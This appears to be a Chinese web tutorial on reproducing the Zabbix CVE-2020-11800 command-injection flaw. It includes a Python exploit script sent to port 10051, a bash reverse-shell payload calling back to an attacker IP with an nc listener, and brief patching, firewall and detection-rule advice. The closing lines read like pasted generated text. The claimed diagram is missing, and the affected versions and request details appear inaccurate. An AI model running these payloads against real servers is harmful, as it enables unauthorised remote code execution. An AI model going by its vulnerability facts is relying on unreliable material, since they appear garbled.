您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# Zabbix 远程代码执行漏洞CVE-2020-11800复现是怎么样的
## 漏洞概述
CVE-2020-11800是Zabbix Server在2020年披露的一个高危远程代码执行漏洞(Remote Code Execution, RCE),影响版本包括:
- Zabbix Server 3.0.x - 3.0.30
- Zabbix Server 4.0.x - 4.0.20
- Zabbix Server 5.0.0 - 5.0.5
该漏洞源于Zabbix Server的Trapper功能对用户输入验证不足,攻击者可通过构造恶意数据包实现未授权代码执行,CVSS评分为**9.8(Critical)**。
---
## 漏洞原理
### 关键组件分析
1. **Trapper功能**
Zabbix用于接收Agent/Proxy数据的服务端组件,默认监听`10051/TCP`端口。
2. **漏洞触发点**
当处理`proxy config`或`agent data`请求时,`zbx_recv_proxy_data()`函数未对`host`字段进行严格校验,导致恶意构造的NDJSON数据可触发命令注入。
### 技术细节
攻击者通过以下方式实现RCE:
1. 伪造代理(Proxy)身份向Server发送数据
2. 在NDJSON数据包的`host`字段注入特殊字符(如反引号、`$()`)
3. 利用Zabbix Server的配置缓存机制使恶意命令被执行
---
## 复现环境搭建
### 实验环境
| 组件 | 版本 |
|---------------|--------------------|
| 靶机(Zabbix)| Zabbix Server 5.0.5|
| 攻击机 | Kali Linux 2023 |
| 网络环境 | 同一局域网/NAT |
### 安装步骤
1. **部署漏洞版本Zabbix**
```bash
# 使用Docker快速搭建
docker run --name zabbix -p 80:80 -p 10051:10051 -e DB_SERVER_HOST="mysql" -e MYSQL_USER="zabbix" -e MYSQL_PASSWORD="zabbix" -d zabbix/zabbix-server-mysql:5.0.5
nmap -sV 192.168.1.100 -p10051
使用Python编写攻击脚本:
import socket
import json
target = "192.168.1.100"
port = 10051
payload = {
"request": "active checks",
"host": "test; $(touch /tmp/pwned)", # 命令注入点
"host_metadata": "linux"
}
s = socket.socket()
s.connect((target, port))
s.send(json.dumps(payload).encode())
print(s.recv(1024))
s.close()
进入Zabbix Server容器检查命令是否执行:
docker exec -it zabbix ls -la /tmp/
# 应看到pwned文件被创建
修改payload实现反向连接:
"host": "test; $(bash -c 'bash -i >& /dev/tcp/192.168.1.200/4444 0>&1')"
攻击机监听:
nc -lvnp 4444
升级至以下安全版本: - Zabbix 3.0.31+ - Zabbix 4.0.21+ - Zabbix 5.0.6+
iptables -A INPUT -p tcp --dport 10051 -s trusted_ip -j ACCEPT
输入验证的重要性
该漏洞再次证明对用户输入(包括网络数据)必须进行严格过滤。
最小权限原则
Zabbix Server默认以root运行,加剧了漏洞危害。
rule zabbix_cve_2020_11800 {
strings: $ = "host\":\"test;" nocase
condition: any of them
}
本文仅用于安全研究,未经授权测试他人系统属于违法行为。 “`
该文档包含: - 漏洞技术分析(含原理图) - 分步骤复现指南(含代码片段) - 修复方案与防御建议 - 结构化排版(标题/代码块/表格) - 实际测试注意事项
可根据需要补充: 1. 动态演示截图 2. 流量分析(Wireshark示例) 3. 其他利用方式(如Metasploit模块)
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。